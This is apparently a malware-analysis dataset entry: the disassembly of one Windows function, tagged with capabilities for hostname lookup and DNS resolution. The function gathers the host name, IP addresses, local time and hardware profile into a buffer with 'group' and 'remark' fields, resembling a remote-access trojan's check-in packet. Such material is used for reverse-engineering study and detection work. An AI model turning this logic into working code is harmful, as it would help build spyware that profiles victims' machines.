Function at 0x140001ad0
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x288]
sub rsp, 0x360
mov r13, rcx
mov ebx, 0xf90
mov r15, r8
mov ecx, ebx
mov r14d, edx
call fcn.14004fec0
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.1400537d0
mov r12d, 0x100
lea rcx, [rsp + 0x60]
mov r8d, r12d
xor edx, edx
mov byte [rdi], 3
call fcn.1400537d0
lea rcx, [rbp + 0x60]
mov r8d, r12d
xor edx, edx
call fcn.1400537d0
lea rcx, [rbp + 0x60]
mov edx, r12d
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x60]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rsi, rax
test rax, rax
je 0x140001bf0
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x60]
mov edx, r12d
mov r8, rax
call fcn.14005053c
lea r8, [0x1400968e0]
lea rcx, [rsp + 0x60]
mov edx, r12d
call fcn.14005053c
mov r11, qword [rsi + 0x18]
movsx rax, word [rsi + 0x12]
add rax, qword [r11]
cmp rax, qword [rsi]
jae 0x140001bf0
xor ebx, ebx
add rbx, 8
mov rax, qword [rbx + r11]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x60]
mov rdx, r12
mov r8, rax
call fcn.14005053c
lea r8, [0x1400968e0]
lea rcx, [rsp + 0x60]
mov rdx, r12
call fcn.14005053c
mov r11, qword [rsi + 0x18]
movsx rax, word [rsi + 0x12]
add rax, qword [rbx + r11]
cmp rax, qword [rsi]
jb 0x140001baa
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
or ebx, 0xffffffff
lea r8, [rsp + 0x60]
mov r9d, ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r12, [rdi + 2]
lea r8, [rsp + 0x60]
mov dword [rsp + 0x28], eax
mov r9d, ebx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.1400023bc
mov ebx, 0xa
lea rcx, [rdi + 0x200]
mov edx, ebx
lea r8, [0x14009657c]
test eax, eax
jne 0x140001c54
lea r8, [0x14009658c]
call fcn.14005061c
lea rcx, [rdi + 0x598]
call fcn.14000202c
lea rcx, [rdi + 0x796]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, [rdi + 0x796]
lea rdx, str.FENZU
lea rcx, [0x140096910]
call fcn.140002bb0
cmp eax, 1
jge 0x140001ca9
lea r8, [0x1400bdf0c]
lea rcx, [rdi + 0x796]
mov edx, gethostbyname
call fcn.14005061c
lea rcx, [rdi + 0x7fa]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r8, [rdi + 0x7fa]
lea rdx, str.BEIZHU
lea rcx, str.main
call fcn.140002bb0
cmp eax, 1
jge 0x140001ced
lea r8, str.7.11
lea rcx, [rdi + 0x7fa]
mov edx, gethostbyname
call fcn.14005061c
lea rdx, [rdi + 0x85e]
mov r9d, ebx
mov r8d, gethostbyname
mov ecx, r14d
call fcn.140050794
lea rcx, [rdi + 0x9a8]
call fcn.1400029f0
call fcn.140002498
lea rcx, [rdi + 0xa16]
mov rdx, rbx
lea r8, [0x14009659c]
test eax, eax
jne 0x140001d32
lea r8, [0x1400965cc]
call fcn.14005061c
call fcn.1400022d8
lea rcx, [rdi + 0xc28]
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx r8d, word [rsp + 0x56]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x52]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
lea rcx, [rdi + 0x8c2]
lea rdx, [0x140096950]
mov r8, r15
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rdi + 0x926]
lea rdx, [0x140096998]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x160]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea r9, [rdi + 0x318]
lea rdx, [rdi + 0x214]
test eax, eax
lea rax, [rdi + 0xa0c]
lea rcx, [rdi + 0xf2e]
je 0x140001df6
lea r8, [rbp + 0x164]
mov qword [rsp + 0x30], r8
jmp 0x140001dfc
and qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
lea r8, [rdi + 0x9a8]
mov qword [rsp + 0x20], r12
call fcn.140001e54
mov rax, qword [r13]
mov r8d, 0xf90
mov rdx, rdi
mov rcx, r13
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
mov ebx, eax
call fcn.14004fa30
lea r11, [rsp + 0x360]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret